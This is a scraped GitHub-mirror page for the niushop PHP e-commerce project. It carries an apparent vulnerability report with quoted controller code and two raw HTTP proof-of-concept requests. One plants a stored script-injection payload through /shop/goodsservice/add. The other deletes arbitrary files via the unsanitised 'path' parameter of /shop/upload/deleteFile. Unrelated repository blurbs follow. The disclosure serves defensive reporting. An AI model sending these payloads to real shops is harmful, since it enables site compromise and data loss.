niuteam / niushop Goto Github PK
View Code? Open in Web Editor NEWNiushop单商户V4版,微信商城、小程序商城,支持分销、团购、直播、秒杀、优惠券、自定义页面等众多营销功能,插件化开发,全开源,更适合二开。做最牛、功能最强大的开源商城。Q群:819433211 / 29507902 / 480373854。官网:https://www.niushop.com
License: Apache License 2.0
Niushop单商户V4版,微信商城、小程序商城,支持分销、团购、直播、秒杀、优惠券、自定义页面等众多营销功能,插件化开发,全开源,更适合二开。做最牛、功能最强大的开源商城。Q群:819433211 / 29507902 / 480373854。官网:https://www.niushop.com
License: Apache License 2.0
Vulnerability location:
/shop/goodsservice/add
public function add()
{
if (request()->isAjax()) {
$service_name = input('service_name', '');
$data = [
'site_id' => $this->site_id,
'service_name' => $service_name,
'desc' => input('desc', 0)
];
$model = new GoodsServiceModel();
$res = $model->addService($data);
return $res;
}
}
Problem parameters:input
After debugging, it is found that no special string is filtered
Execute the POC below to insert an XSS
poc:
POST /shop/goodsservice/add.html HTTP/1.1
Host: 192.168.30.107:88
Content-Length: 105
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.30.107:88
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.30.107:88/shop/goodsservice/lists.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=c960d40bde422ace2afc7939478900a1
Connection: close
service_name=%22%3E%3CScript%3Ealert(111)%3C%2Fscript%3E&desc=%22%3E%3CScript%3Ealert(111)%3C%2Fscript%3E
Vulnerability location:/shop/upload/deleteFile
public function deleteFile()
{
if (request()->isAjax()) {
$path = input("path", '');
$res = false;
if (!empty($path)) {
$res = delFile($path);
}
return $res;
}
}
Vulnerability approach:delFile
function delFile($path)
{
$res = false;
if (file_exists($path)) {
$res = unlink($path);
}
return $res;
}
Because there are no cleaning parameters,Causes arbitrary file deletion
Fragile approach:INPUT
For example, create a 1.txt file in the root directory of the website,Then try to delete it
Perform the following POC,You need to log in first
poc:
POST /shop/upload/deleteFile HTTP/1.1
Host: 192.168.30.107:88
Content-Length: 10
Accept: application/json, text/javascript, /; q=0.01
Origin: http://192.168.30.107:88
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.30.107:88/shop/goodsservice/lists.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=c960d40bde422ace2afc7939478900a1
Connection: close
path=1.txt
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.